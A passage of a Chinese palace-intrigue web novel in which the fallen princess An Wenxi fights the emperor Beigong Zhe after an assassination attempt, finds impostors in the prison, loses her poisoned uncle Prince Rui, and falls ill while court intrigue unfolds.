秋水好似不满她刚才的行为,凌冽的长剑直逼而来,速度快到她避无可避,她还没有反应过来,就被北宫喆抄手揽住了腰肢,他声音急道:“你这个时候发什么呆?” “羽卫!” 随着北宫喆的怒声,从四面八方涌入大量的黑衣人,这些是北宫喆的贴身护卫,看来北宫喆打算速战速决了! 安文夕不动声色的朝秋水和无涯递了个撤退的眼神,如今的形势明显对他们不利,再这么僵持下去,有害无益! 秋水和无涯互相对视了一眼道:“撤!” “来了就想走么?青玄——”北宫喆手中的酒盏蓦地砸了出去,秋水的胸口立即染红一片。 “走!”秋水手中的长剑越发凌厉起来,不多时为无涯清理出了一条道路来,无涯犹豫了一瞬,纵身消失在了九华殿,青玄立即紧随其后。 安文夕紧咬着下唇看着秋水衣衫渐红,和剩下的人在勉力支撑,殿内的血腥渐重,她看着秋水带来的人一个个倒下,手心里渐渐濡丨湿了一片。 终于她从靴子里拔出匕首抵住北宫喆的脖子厉声道:“都住手!” 这一声如一声惊雷,响彻整个大殿,众人不可置信的看着挟持着北宫喆的安文夕。 北宫喆满目阴鸷,冰冷的眼神砸向安文夕道:“安文夕,你果真没有让朕失望啊!” 月无双着急起来,立即跑上前去道:“夕姐姐,你在干什么?赶紧将刀放下。” 江向晚双眸微缩,手中的青霜剑蓦地出击,在秋水的脖子处划出了一条血迹,“安文夕,放了皇上,否则我现在就杀了他!” 安文夕握着匕首的指尖卡白,紧紧看向江向晚,“你不许伤他,放他走,不然的话……”说着匕首又朝北宫喆的脖子处逼近了一寸。 “夕姐姐……”月无双想上前拉安文夕,不料却被欢凉一把拉住。 安文夕拉着北宫喆来到九华殿门口道:“我要亲眼看着他们走!” 江向晚就在松手的刹那,突然一剑刺在了秋水胸口,鲜红的血液喷薄而出,秋水眼睛大睁着看向插在胸口的青霜剑,伸手握住剑身急急后退,巨大的力气使得江向晚一个趔趄,他右手中冰冷的剑锋擦过江向晚的脖颈。 “晚儿小心!” 第73章 安文夕,你闹够了没有 第七十三章 安文夕,你闹够了没有 “秋水!”安文夕惊呼道。 北宫喆突然发力,一掌卸下安文夕手中的匕首,凌烈的掌风扫向秋水,江向晚看准时机,从秋水胸膛内拔出青霜剑划向咽喉处,一剑封喉,闪着幽光的青霜剑划出一串血珠,秋水缓缓看了她一眼,不甘的倒了下去。 “不——秋水!”安文夕想要扑过去接住他倒下的身子,却被北宫喆狠狠地抓住她的手。 北宫喆一把掐着她的脖子道:“安文夕,朕宠你纵你,你就是这么对朕的?”力气大到将安文夕生生提起。 “咳……北……北宫喆……” 北宫喆狠狠地将她扔到地上,厉声吩咐道:“今晚的刺客一个不留!” 欢凉立即过来扶起安文夕,“公主……” “欢凉,快,秋水要死了……”安文夕跌跌撞撞来到秋水身前,伸手探了下他的鼻息,心突然沉到了谷底,她抬手缓缓地阖上秋水还睁着的眼睛,捡起地上的长剑刺向江向晚,“我说了不许伤他!” 江向晚看着她的眼神不屑中有丝淡淡的怜悯,她手中的长剑还没有来得及碰到江向晚,就被北宫喆二指夹住。 “嘣——”清脆的断剑声刺痛了安文夕的耳膜。 北宫喆狠狠的扔掉手里的断剑,声音寒凉,“安文夕,你闹够了没有!” 安文夕迎视着他,眼里满是恨意,这个人从来都是这么冷血无情,一如当日他看着她父皇从城墙上坠下,眼皮也未眨一下,还将她父皇的尸体曝晒三日! 而现在,他们竟然又杀了秋水! “一个刺客值得你如此么?”北宫喆利眸锁着她。 “北宫喆,人命在你眼里就是如此轻贱么?”安文夕握着断剑的右手因为凝满了恨意而微微颤抖,她的眼底血红一片。 “他来刺杀朕,本就该死!” 北宫喆话音未落,安文夕提剑迎了上去,狠戾的剑法因为她的失控而变得杂乱无章 ,带着决绝刺向北宫喆。 江向晚提了一口气,扬起青霜剑挡在北宫喆面前,安文夕出手又快又狠,硬是将江向晚逼得节节后退,江向晚不可置信的看着安文夕,她怎么突然变得这么厉害了。 安文夕根本没有留给她喘丨息的机会,手里的断剑翻转,毫不拖沓的一把挑开江向晚手里的青霜剑,左手狠狠的扣住她的脖子。 “你杀了秋水,该死!” 欢凉不由得攥紧了月无双的手,喃喃道:“公主她……她不会走火入魔了吧……” 安文夕的手劲大得惊人,江向晚难以呼吸,双手不断地扳着扣着她脖子的手,额头上因呼吸不畅而青筋毕露。 “公主小心——” 可惜晚了,北宫喆一掌扫向安文夕的左肩,她立即被抛了出去,一口鲜血顺着喉咙涌了出来,安文夕咬了咬牙,眼睛瞥向不远处的匕首,右手抓过它再次扑向北宫喆,如一只蓄满力量的猎豹一般,身姿敏若闪电。 北宫喆微蹙了眉心,和安文夕交起手来,眼尾瞥见伺机而动的江向晚,扣住安文夕的双手,再次一掌将她拍飞。 “公主……”欢凉立即扶住了趔趄的安文夕,示意她不要了,可此时安文夕双眸血红,咬着银牙,又一次握紧了手里的匕首。随着她的喘丨息,左肩和胸腔火辣辣的疼,手轻轻抚上心口,心脏每一次跳动都痛不欲生。 她痛,他更痛。 北宫喆一步步走向安文夕,冰冷的眸中闪现一丝痛楚。 看着一步步朝她走来的人,安文夕嘴角攒着凄凉的笑,握紧手里的匕首,决绝的摸向自己的脖子。 “公主——” “夕儿——” 北宫喆心中一紧,立即伸手去抓她手中的匕首。 “噗呲——”耳边突然传来刀剑入体的声音,北宫喆伸出的双手停在了半空,再看去时,安文夕的嘴角多了抹诡异的笑。 这一幕来的太突然,令众人措手不及。 “喆……”江向晚立即扑了过来。 北宫喆一瞬不瞬的盯着安文夕,抬手制止江向晚靠近。 殷红的鲜血瞬间染红了北宫喆身上的月白长袍,他蓦地笑了,“想朕死?不惜搭上自己么?” 相思蛊成对而活,若是一方死了,另一方又岂能独活? “公主,不要……”欢凉惊道,现在若是杀了北宫喆,那她岂不是也…… 安文夕咬着下唇,手里握着的匕首又往前推进了一寸,紧接着心又痛了一分,安文夕握着匕首的手蓦地一松,颤抖着双手捂着心口,痛苦的跌坐在地。 她对他始终是下不了手,难道是因为相思蛊? 北宫喆凉薄的唇扬起一道微不可见的弧度,她到底还是舍不得杀他。 “喆……你怎么样?”江向晚紧张的问道,随即一脸怨恨的看向地上的安文夕,握紧了手中的青霜剑。 “朕没事,先安排内殿里的女人各自回宫。”北宫喆说着封了自己的穴道。 江向晚犹豫了一瞬,从嘴里吐出来一个字道:“好。” 北宫喆扫了眼欢凉和月无双扶着的安文夕冷声道:“送她回去!” “夕姐姐,我们走吧。”月无双小声道,她从不知道安文夕竟然这么痛恨北宫喆。既然那么恨,每天还都强颜欢笑,不累么? 安文夕吐出了一口鲜血,赤红的血迹顺着嘴角流下,双眸仍紧紧锁在北宫喆身上,眼底恨意肆意,周身弥漫着浓浓的杀意。 “夕姐姐,你不要怪无双。”月无双咬了咬牙,点了安文夕的穴道,和欢凉一起搀起了她。 刚跨出了九华殿,遇到迎面而来的青玄,他看见北宫喆胸口的殷红愣了一瞬,随即抱拳道:“禀告皇上,余孽全部擒获。” 安文夕闻言,顿时咯噔了一下,无涯没有逃脱么? 欢凉咬了咬牙,加快了步伐。待她们走后,青玄靠在北宫喆耳边说了几句,北宫喆双眸变得深邃起来,对青玄道:“今晚的事情务必封锁一切消息!” 远离了九华殿,安文夕开口道:“无双,你将我的穴道解开!” 月无双为难看了她一眼,“夕姐姐……” “你放心,这次我不会冲动的。”安文夕眼神清淡,眼底的血红渐渐不见。 “月小姐,你就给娘娘解了穴道吧。” 手脚恢复了行动,安文夕立即加快了脚下步伐,到了未央宫后,月无双看到安文夕已经恢复了正常后,正打算回房,却突然被安文夕拉住道:“无双,你知道相思蛊么?” “喆哥哥给你种了相思蛊?” 安文夕点了点头,“怎样解蛊?” “据我所知,相思蛊只有我爹可以解。”月无双想起刚才那幕,犹豫道,“夕姐姐,你不如跟我回枫月谷吧,正好可以解了相思蛊。” 半晌,安文夕缓缓点了点头。 待月无双走后,安文夕迅速除掉身上的披风,接过欢凉递来的夜行衣,利索的换好,然后将铁丝、匕首之类的东西收拾妥当,贴身带着。 “公主,真的决定了么,北宫喆一定在刑部大牢设下了陷阱。” “秋水已经死了,我必须要救无涯,哪怕和北宫喆同归于尽。”安文夕决绝道。 秋水和无涯和她一起长大,相伴了整整十年,早就已经是亲人了,她决不能再看着他离开她! “公主……”欢凉惊道,若是公主有什么不测,那她们报仇复国还有什么意义? “放心,我不会死的。”安文夕说着用黑面巾蒙上自己的脸颊。 月光惨淡,漆黑的夜色如同黑漆漆的墨汁一般,寒风呼啸着刮到人的脸上如同刀割。一道敏捷的身影瞬间融进漆黑的夜色中。 刑部大牢。 “这鬼天气真冷,冷得老子睡都睡不着。” “你这小子胆子不小,这个时候还敢睡,你不怕有人劫狱么?” “天天都是这样,谁会来劫狱?”说话间并伴随着一声轻呲。 “以前没人来并不代表今天没人来,我听说刚才皇上身边的青大人来了,好像是抓到了什么前朝余孽。” “不可能吧?”那人低笑了声,“那这牢里头怎么同往常一样?若是关了人的话,势必会加强守卫,老子怎么一个人也没看到。” “这个,我也正犯嘀咕……” “得了得了,都是没影的事,老子去撒泡尿,回来换班,这天,真他.妈冷。”那人裹紧了身上棉衣,躬着身子,骂骂咧咧跑开了。 安文夕猫在不远处的矮墙上,瞥了眼跑开的人,黑瞳微缩,这是个好机会! 就在那人如厕完毕,还没来得及系上裤子的时候,一道黑影从他身后掠过,抬手砍向他的后颈,将他拖到一旁,飞快的扒了他身上的衣服,套在自己身上。整个过程,没有一丝声响。 “你怎么才来,赶紧得换班了换班了。”那人催促道。 夜色中浓,那人根本看不清安文夕的相貌,只道是刚才撒尿的那人回来了,打着哈欠取笑道:“一股尿骚味。” 安文夕甩开他的手,压低声音学着刚才那人的口气道:“你他.妈才一股尿骚味。” 那人见她走得急,也没有跟上来,而是进了牢内找了个稍微暖和的地方躺下了。 安文夕以前曾经来过刑部大牢,对这里并不是很陌生,一边走着一边悄无声音的解决掉站岗的守卫。 “啪——”一声突兀的响声突然响起。 “什么人?”紧接着传来一声怒喝。 第74章 睿王去世 第七十四章 睿王去世 安文夕心中顿时一紧,立即将身形藏在阴影处,暗暗握紧了手中的匕首。 “牢头,没事,小的不小心睡着了将水碗打翻。” “你小子给老子精神点,若有什么不测老子拿你是问!” “是,是。”那人捡起了地上的水碗连声道。 安文夕蓦地闪到刚才那人身后,不动声色的一掌将他打晕,然后继续前行,找了一间间牢房,始终没有看到无涯,难道说无涯不在这里? “站住!”安文夕没走两步,身后突然传出一声浑厚的声音,“转过身来!” 就在转身刹那,安文夕身形一晃,立即封了那人的穴道,在他刚要大喊的时候,安文夕精准的封了他的哑穴,然后将他拖到一旁,继续找了起来,终于在一间角落里找到了无涯,还有一身是血的秋水。 安文夕拔出头上的发簪,轻快地开了锁,立即扑了过去,小声喊道:“无涯,无涯,你怎么样?” 安文夕刚要去打开扣着无涯的锁链,却发现无涯一直都没有动静,她拨开他的头发,抬起他的头来,立即后退了两步。 无涯……他怎么也死了? 无涯目眦尽裂,脸上挂着血腥,双手无力地垂着,安文夕颤抖着手覆上他的手,冰凉的触感令安文夕打了个寒颤。 安文夕眼底一片愤恨,唇瓣被她咬出了血丝。半晌,她再次拿着簪子去开锁着无涯的锁链,不管怎样,她都要将他们救出去,好好安葬。 “啪——”一声细微的声响传来,锁开了。 安文夕抓着无涯的手,想把他扶秋水涯身侧,在摸到无涯的手腕时,安文夕一愣,无涯的手腕上有一处烫伤,摸起来十分粗糙。而现在这个人手腕十分光滑,安文夕心中划过一抹疑惑,立即扯开他的衣袖,上面十分光洁,根本就没有烫伤的疤痕。 这不是无涯! 安文夕眼睛突然睁大,那躺在地上的也不是秋水了? 她将身上的人放在地上,摸向他的脸,脸颊和耳边的皮肤根本看不出任何的异样,她又不死心的用手抠了起来。 这的确是他的脸,他并没有戴假面皮,同样秋水亦是如此。 难道是传闻中的换脸,换脸是九州的一种鲜见的秘术,据说是由秘术师先做好人皮,把要变脸之人的面皮生生剥下,然后将做好的人皮换到那人的脸上,便可达到天衣无缝的效果。但是这换脸之术可不是随便什么人就能做得到的! 安文夕不觉深思起来,这两个人到底是谁?他们背后的主谋花费了这么大的功夫制造了今晚的刺杀,到底有什么目的? “公主,不好了!” “欢凉,不是说了让你守在未央宫么?” “子目传来消息称睿王快不行了!” “什么?”安文夕大惊道,脑海中再一次浮现上次她见到睿王憔悴的样子,身形立即掠出了牢房。 欢凉看了眼地上的无涯和秋水,不可置信道:“无涯……无涯他……” 安文夕一把将欢凉拉走,“那不是无涯和秋水,先出去,一会再说。” 欢凉飞快的瞥了眼地上的二人,和安文夕翻身出了刑部大牢。 “欢凉,你快去将傅太医带出宫来!快去!” “公主,没用了,现在已经没用了!”欢凉一字一句道。 安文夕握了握拳,攀着细小的铁丝消失在茫茫夜色中,欢凉立即提起跟上。 翻过几道街之后,安文夕纵身一跃,掠到睿王府的屋顶之上, 隐在黑暗中的利眸扫了眼下面的护卫,悄无声息的溜进了睿王府。 冰冷的寒风卷起地上的枯叶,瑟瑟作响,这睿王府更加萧条了,若不是有护卫走动,她都要以为这里早已无人居住了。 刚踏进寝殿,一股浓郁的药味扑面而来,如今这药味更加刺鼻了,室内升着淡淡的暖意,但却令人不寒而栗。 睿王府的李管家守在睿王榻前轻声啜泣,听到动静,立即警惕的朝她看来,待看到是她,眼里涌出一抹激动来,“十公主,你终于来了,王爷他,他……” 好像自从大安被灭之后,王叔身边就只剩李管家这一个衷心的老仆了。 安文夕双眼酸胀的厉害,却流不出泪来,立即扑过去,抓住睿王枯瘦的大手,冰凉的触感令她手心一颤。 屋子里烧着炭,为何王叔的手会这么凉,好像怎么都捂不热一般,“李叔,屋子里太冷,再加些炭来。” “王叔,王叔……” 手中冰凉的手指微微动了一下,安文夕惊喜道:“王叔,夕儿来看你了。” “夕儿……”睿王双眼深深地陷了进去,头发也全部花白了,一脸病容憔悴不堪,看见她他浑浊的双眼中有丝微弱的亮光,似乎连微笑的力气都没有了。安文夕知道,王叔这是油尽灯枯了。 “王叔……” “夕儿……好……好好活着,不要……再……报仇了……”睿王艰难的吐出了这几个字,眼睛微微阖上,右手无力地垂下。 “王叔……你不要吓夕儿……王叔!” “十公主请节哀,王爷他……去了。”李管家不忍别开脸,“王爷从傍晚的时候就不行了,直到公主来了他才肯咽下最后一口气啊。” “我早该想到的,王叔身体一直都不好,是我来晚了,我来晚了,我对不起晟哥哥。”安文夕紧紧的握着睿王枯瘦的手。 “十公主,您也别太自责了,这是不怪您,您不都派了最好的太医来医治王爷了么,是王爷一心求死。” 安文夕一滞,她何时派了最好的太医了?难道是北宫喆…… 李管家没有注意道她的异样,继续道:“以前王爷总是偷偷将药倒掉,这才使得病情越来越重,后来老奴发现之后,每次都是亲眼看着王爷将药喝完,王爷病情也稍稍有了好转……” “只是,老奴有一事不清楚啊,王爷这两天本来精神还挺好,今天傍晚不知怎么的突然就咳血不止了……” 安文夕闻言目光一凛,“到底怎么回事?” “老奴也不知晓,好像是宫里来人找王爷问话,之后老奴进去给王爷送药的时候,就发现王爷正在咳血。” 北宫喆你就连我最后一个亲人也不放过么?安文夕冰冷的眼神里再次蓄满了恨意。 “太医呢?” “公主,府中的卫太医被我带来了。”欢凉拉着一位略胖的中年男人进了内殿。 那人看到了安文夕立即跪在地上道:“瑾淑妃娘娘,微臣已经尽力了,请您节哀。” “你告诉我,王叔她到底得了什么病?” 那人一愣,皇上只吩咐他来治病,没有说到底要不要将事情告诉瑾淑妃啊。 “不说?你不说本宫也有办法知道,但是到时你有没有命就不确定了!”冰冷的声音透入肺腑,一股巨大的压迫感令人窒息。 卫太医身子立即一矮,颤声道:“回瑾淑妃,睿王他没病,他是中毒了?” “中毒?”安文夕的声音陡然冷了几分。 “是,是。”卫太医懦懦若若道。 安文夕冷冷瞥了眼跪在地上的人,厉声道:“什么毒?” “类似鹤顶红的一种普通的慢性毒,使人呈现病态。”卫太医感觉上方的空气又冷了几分,立即道,“瑾淑妃,这毒不是微臣下的,微臣来的时候,睿王他就已经……已经中毒甚深了。” 慢性毒…… 安文夕一步步走向睿王,双眸蓦地变得凶狠起来,利爪突然攫住李管家的喉咙,根本没给他任何反应时间。 李管家渐渐喘不过气来,挣扎道:“十……十公主,你要……做什么……” “李管家,王叔身边只有你,我想不到下毒的还有别人。” “哈哈哈……的确是我做的。”李管家原本涨红的脸变得狰狞起来,一掌朝安文夕劈来。 “公主……” 安文夕堪堪躲过,问道:“你不是李管家,你到底是谁?”说着抽出了腰间的七节鞭。 刚才跪在地上的卫太医看到这架势立即吓得瘫软,慢慢的朝墙角移动着身子。 欢凉也拔剑加入了打斗,安文夕和欢凉两人对上李管家一个,游刃有余,安文夕绕到他的身后,蓦地出击,李管家敏锐的躲过了身后的致命一击,但却被安文夕一把攫住了手臂。 “嘶——”李管家的衣袖顿时被安文夕撕开,露出了墨色的飞羽图案,李管家顿时脸色一变。 “羽卫?”安文夕挽起了眉头,羽卫可是北宫喆的贴身护卫! 李管家眼见情形不妙,身形一晃,就要从窗户处掠出去。 安文夕手腕翻转,手里的发针凌厉的攻向李管家的穴道。 李管家立即被定住身形,看着越来越近的安文夕,嘴角突然溢出殷红的血来。 安文夕愣了一瞬,刚要去撕开他的假面皮,身后突然有一道有力的臂膀拦住了她的腰肢,将她带离。 “不要去!” “易大人?” “公主,小心!”欢凉惊呼道。 安文夕还没有来得及从易寒怀中抽身,就看到被她封了穴道的李管家身上突然燃起火来,鲜血流了一地,所到之处,立即燃成一片火海。 “这是怎么回事?” “不好!快走!”易寒厉声道,一把把安文夕带出了燃烧起来的寝殿。 第75章 本宫要带她走 第七十五章 本宫要带她走 “不行,王叔还在里面!”安文夕一把甩开易寒的手,再次冲进寝殿,有一道墨色的身影比她更快的掠身到睿王面前,一把将睿王背到身上,拉着她的手道:“走!” 再次转过身来,目之所及皆是不断蔓延的火苗,浓浓的烟火弥漫了整间寝殿。 “瑾淑妃娘娘,救救微臣,救救微臣……”刚才躲在角落里的卫太医身上也燃起了火,拼命的朝安文夕爬去,完全没有意识到后方倒下来的横梁。 “公主来不及了,不要……”欢凉还没有来得及说完,安文夕已经甩出七节鞭将即将砸到卫太医身上的横梁抛开,飞快的将卫太医拉到身边,扫了眼周围的火海,咬了咬牙,跃出了寝殿。 “寝殿走水了!”发觉寝殿着火的护卫立即匆匆提了水赶来。 “不行,这火太大了!进不去的!” “可是睿王还在里面,他若有任何闪失,你我可担待不起。” 几个护卫裹了湿衣服冲进去,结果瞬间被吐着信子的火苗吞噬在火海。 剩余的几个护卫咬了咬牙,将进去的人拖了出来,“火太大了,若是睿王在里面,这会也该化成灰烬了,赶紧去禀告皇上!” 安文夕将卫太医身上的火苗扑灭,冷冷道:“你走吧。” 卫太医今天晚上早就被吓得三魂少了七魄,立即不停地磕头道:“微臣多谢瑾淑妃救命之恩。” “记住,今天晚上的事情不得和别人说,不然的话,就是我不杀你,北宫喆也绝对不会放过你!” “是,今天微臣什么都没有看到,什么也没有听到。”卫太医将头埋在地上,就是瑾淑妃不提醒他,他也知道该怎么做。在宫里,往往知道的越多,越不安全! 安文夕看着易寒道:“易大人,将王叔交给我吧,我想带王叔去见父皇。” “瑾淑妃若是不介意的话,微臣愿一同前去,多个人也能多份力量。”说着背起了睿王。 没有华丽的棺椁,也没有庄重的入葬,更不能刻碑立传,安文夕一抔一抔的堆着土,看得欢凉一阵心疼。 “公主……” 安文夕堆上最后一抔土,扬起了苦涩的嘴角,“王叔活着的时候一向淡薄,从来不喜奢华,我想他不会怪我的。” “不会的,公主,王爷不会怪您。”欢凉拼命的将泪水逼回眼眶。 安文夕站起了身,头蓦地一阵眩晕,身子也趔趄起来,易寒飞快的扶住了她道:“你,没事吧?” 男性的气息扑面而来,这陌生的怀抱却夹带了丝熟悉的感觉,令安文夕蓦地与他拉开了距离,“我,我没事,今晚多谢易大人了。” “瑾淑妃不必如此客气。”狭长的双眸中多了抹怜惜,原本的妖魅被温润代替,一张熟悉的脸突然划过安文夕的脑海。 “易大人,我想陪父皇和母后说说话。” 安文夕委婉的下了逐客令,易寒不仅没有半分恼意,反而有些不舍得看了眼安文夕道:“娘娘保重,微臣告辞。” 安文夕转眸看向一旁高耸的陵墓,那是她母后的陵寝,虽不说极尽奢华,但也分外肃穆庄严。在这座陵墓旁边,有一座稍微低矮的土丘,那是她父皇的坟墓,大安国破之后,父皇坠下城墙,一切都变得那么仓促,她偷偷从城墙上取下父皇的尸身,安葬在了母后身边。 安文夕眼眶一酸,重重跪了下来,“父皇、母后,夕儿不孝,没有照看好王叔……” 她跪在地上不停地说着话,仿佛要将心里压抑已久的情绪全部发泄出来一般,双眼涩涩的疼,却始终流不出半滴泪来。 “夕儿从一开始就错了,错的离谱,早就应该不顾一切杀了北宫喆。” “就凭你现在,还想杀朕?”一道冰凉的声音冲进了安文夕的耳膜,令她背脊一寒,她蓦地转过身来。 天边渐渐浮出了一丝光亮,安文夕觉得这亮分外刺眼,只觉得有道峻拔的身影朝自己走来,通过模糊的轮廓,安文夕依稀辨认了出来,来人是北宫喆。 过了一瞬,她的视线才逐渐清晰起来,眼前的北宫喆一脸冷毅,身上着了明黄锦缎,夹带着戾气而来。 她立即站起身来,握紧了手里的七节鞭,咬牙切齿的吐出了三个字:“北宫喆——”还没有来得及抛出手里的七节鞭,却突然涌出一大口鲜血来。 安文夕脚步踉跄了两下,眼前蓦地一黑。 “公主……” 欢凉的视线飞快的掠进一道明黄的身影,北宫喆一把抱住了安文夕摇摇欲坠的身子,用手摸了下她的额头,烫的吓人! 一掌扫向欢凉,怒道:“你是死的么,就是这样伺候主子的?” 欢凉半晌才吐出一口鲜血来,呼吸时,肺腑被扯得生疼,妈.的,北宫喆下手真狠!喘丨息片刻,踉跄着追上前去。 墨衣男子缓缓从一旁现身,看着安文夕离去的方向,深深地蹙了眉,他的身上结了一层露水,不知在夜里站了多久。 “殿下……” “本宫要带她走!” “殿下不要忘记此行的目的,皇上他还等着引魂丹救命呢!” “本宫知道,不用你来提醒!”墨衣男子眼神一凛,转身离开。 北宫喆不顾胸前的伤口,抱紧了怀中的安文夕,足尖轻点,飞身而去,瞬间将跟随的青玄等人甩在了身后。 到了未央宫,北宫喆胸前已现点点殷红。 张海看着北宫喆怀里安文夕苍白的脸色,没等北宫喆吩咐,直接去了太医院。 北宫喆将安文夕放在榻上,将她身上的夜行衣褪掉,盖上厚厚的锦被。 想起她昨晚决绝的眼神,大手再次覆上她纤细的脖子,恨不得狠狠地扯断。 滚烫的触感令北宫喆指尖一颤,蓦地松了手。 安文夕禁闭的双眼下面一片乌青,嘴唇苍白干裂,嘴角的血迹已经干涸,北宫喆取出方帕轻轻的将血迹拭去。 傅太医一路奔到了未央宫,在冰冷的北风中竟然跑出了一脑门子汗,来不及擦汗,便被张海催促道:“傅太医,赶紧的,去晚了定要被皇上怪罪。” 刚踏入未央宫被感觉到了一阵强烈的压迫颇感,傅太医深吸了一口气,朝那处明黄走去,问过诊后,他战战兢兢的回道:“启禀皇上,瑾淑妃胸腔内有几处经脉受损,再加上染了风寒,才高烧不退,昏迷不醒,微臣这就去开几幅方子,待吃过药后,睡上一觉便可醒来。” “朕知道了,你下去吧。”北宫喆声音略有些嘶哑,双眸布满了血丝。 北宫喆摸着安文夕滚烫的额头,蹙起了眉,吩咐箐姑姑打了水进来,一遍遍用巾帕覆着她的额头。 “皇上,娘娘的药好了。”香茗小心翼翼的看了眼脸色苍白的安文夕,咬了咬牙转身离去。 北宫喆端起药碗,试了试温度,然后扶起安文夕,将汤匙里的药汁吹凉再送到她的嘴边,安文夕始终紧闭着唇瓣,喂到嘴边的药汁全部撒了出来。 北宫喆幽深的眸子微缩,将碗里的药汁含在嘴里,将唇覆到那干裂的唇瓣上,唇边传来的温度令北宫喆心底一颤,蓦地撬开她的唇舌,将药汁全部渡到她的口中。 “张海!” “奴才在。” “今天早朝罢了吧,将奏折放到琼华殿。” “是。”张海捧着拂尘,徐徐后退,这个结果他早就猜到了。 北宫喆再次探了探安文夕的额头,温度丝毫没有减退。 “冷~”安文夕嘴角溢出了一丝轻哼。 北宫喆立即加了床锦被,又吩咐加了炭火,可是安文夕依旧在耳边不断地喊冷,北宫喆褪去外袍,翻身上榻,将安文夕紧紧的揽在怀里,大手攫住她冰凉的小手,一把塞进怀中,贴着他的胸膛,将她的双脚攒在腿弯里。 就在万寿节当天晚上,不少朝臣皆在家中遇刺,有原大安的旧臣,也有从北襄而来的诸官,一时间朝堂之内,人心惶惶。 到了太和殿门口,却被告知罢了早朝,众人不禁猜测,难道皇上昨晚也遇刺了?想到这里,众人更加的惶恐不安。 “主子,今天早晨皇上罢了早朝。”小宫女雪嫣诺诺道。 正在整理桌案的江向晚手中动作一顿,想起北宫喆昨晚胸口受了伤,心中有些明了,“我知道了。”然后继续整理如山的奏折,黛眉轻挽,昨晚仅仅一晚,就由十余位朝臣遇刺,这可不是什么小事! “主……主子……”雪嫣有些吞吞吐吐道:“皇上他在未央宫……” “什么?”江向晚闻言,手中的青瓷小盏应声而落。 雪嫣垂着头,不敢去看她的脸色,“奴婢刚才去打听了一遍,瑾淑妃染了风寒,皇上在那里守着呢。” 江向晚眼底飞快的划过一抹愠色,有些颓唐的跌坐在身后的雕花椅上,嘴角噙着苦涩的笑。 为什么她一次次的伤你,你还一次次的守着她,而我无论做什么却始终入不了你的眼,为什么?我真的好不甘心!江向晚眼神越发的狠厉起来。 她指着桌案上堆满的奏折对雪嫣道:“你去未央宫寻一下皇上,就说——十余位朝臣遇刺,事态严重!” “是。” 第76章 想朕死 第七十六章 想朕死 雪嫣是江向晚的贴身女婢,宫里人向来敬上几分,她刚进了未央宫,洒扫的太监忙问道:“雪嫣姑娘,你来未央宫有什么事?” “我要见皇上,我家主子有要事要与皇上相商。” 箐姑姑走了过来道:“雪嫣姑娘,现在皇上不方便见你,不如等皇上方便了,再让皇上去见江大人。” 不方便? 雪嫣冷哼一声,“我家主子有要事和皇上商谈,你这嬷嬷好不知礼,推推搡搡不让我见皇上,怠误了大事,你能担待的起么?” “是谁在那里喧哗!”张海闻声立即赶来,看见雪嫣,含笑道:“原来是雪嫣姑娘。” “张公公,奴婢有事要见皇上,劳烦张公公去通报一声。” 皇上这会刚刚和瑾淑妃入眠,他是活腻了才敢在这个时候去打扰,随即张海笑道:“雪嫣姑娘,这会皇上真的不方便。” “怎么?张公公也要拦着?”雪嫣不客气道,“奴婢奉劝张公公一句,若是耽误了我家主子的大事,你可担待不起!” 张海脸色渐冷,他若是此时进去扰醒皇上,保准立即便会人头落地! 看着雪嫣张扬的样子,心中有些不悦。这江小姐还没有做皇后呢,她身边的一个小小的婢女,也敢在他张海面前趾高气昂,她的主子是江小姐,他张海的主子可是皇上!且不说江小姐现在身为女官,身份尴尬,就是真的有一天入主中宫,那也得看皇上的心思在不在她那、宠不宠她! 张海斜了一眼雪嫣道:“雪嫣姑娘实在是对不住了,今天你怕是见不到皇上了。” 雪嫣看着张海一副阻拦的样子,咬牙道:“好,我这就去禀明我家主子。”这个老阉奴,也太不把她家主子放在眼里了! 看着雪嫣愠怒的身影,张海冷哼一声,咱家可不怕那江向晚! 然后他挥了浮尘,对箐姑姑等人道:“都散了吧,散了吧。” 江向晚在雪嫣走后,立即通知了左相江佑城,江佑城联合了右相易寒以及刚从丞相升为太师的黎正就朝臣遇刺一事请求面圣。 原本大安只设置了丞相一职,而北宫喆称帝后,就设了左右相,将原大安的丞相黎正升为太师,说是升职,却是削去了他手中的实权。 江向晚看着脸上微微带着怒气的雪嫣,问道:“皇上没有来?”她早就知道仅凭雪嫣,根本就见不着北宫喆的面。 “主子,张海那老阉奴实在是太可恶,竟然拿话搪塞奴婢,死活不让奴婢见皇上,简直不把主子您放在眼里。”雪嫣趁机向江向晚说道。 “我知道了,你下去吧,以后你也该收敛点了,省的有人说我教出来的人不知分寸。”说到最后,声音陡然变冷。 雪嫣闻言蓦地一滞,脸色由红变白再变青,立即垂下了头,咬牙道:“是,奴婢知错了。” 琼华殿的小太监急急忙忙跑去了未央宫,看到张海捧着拂尘立在殿外,立即奔了上去道:“张公公,太师、左相右相现在正在琼华殿……” “就是他们在琼华殿,此时也不能惊醒皇上呐!” 张海话音刚落,北宫喆就从内殿走了出来,他刚睡着就被刚才外面的喧哗吵醒,直到安文夕身上的温度渐渐减退才下床洗漱。 张海小心翼翼的跟在北宫喆身后,问道:“皇上,您要不要先用膳?”如今都快午时了,皇上可是从昨晚起就没有进食啊。 “不必了。” 琼华殿,江佑城三人立在殿中已经有了一刻钟,因为事态严重,本来就沉重的气氛因为沉默而更加的压抑。 “皇上驾到!”一声尖细的嗓音想起,随即视线内映入一抹明黄。 “吾皇万岁万岁万万岁。” “平身。”北宫喆坐到龙椅上,看向下面站着的三人。 江佑城向前迈了一步道:“皇上,昨晚大安余孽刺杀了十余名朝臣,事态严重,实在是藐视我大夏君威!” “左相以为此事应该如何?” “微臣以为首先应当安抚遇害家属,稳定人心。” 北宫喆利眸扫了眼立在一侧的萧寒道:“右相以为呢?” 易寒眼睛有些血丝,眼睛下面也有些淡淡的乌青,显然是晚上没有休息好,精神有些不济。 “回皇上,微臣和左相想法一致。” 北宫喆微不可见的点点头道:“就依左相所言,此事交由左相去办。” “微臣遵旨。” 一直沉默着的太师黎正突然开了口道:“启禀皇上,此事涉及大安余孽,且遇害之人,多是大安降臣,若是不能擒拿到刺客,只怕人心不稳。” “太师所言极是。”北宫喆眸光飞快的划过三人,又道,“刺客已经全部落网,此时正悬挂在城门口!” 三人皆是一惊,怪不得皇上如此波澜不惊,原来是早就安排了一切。 “三位爱卿若是没有别的事情,便散了吧。” “是,微臣告退。” 三人刚出了琼华殿,江向晚立即吩咐摆膳,对北宫喆温温笑道:“喆,要不要先吃点东西?” 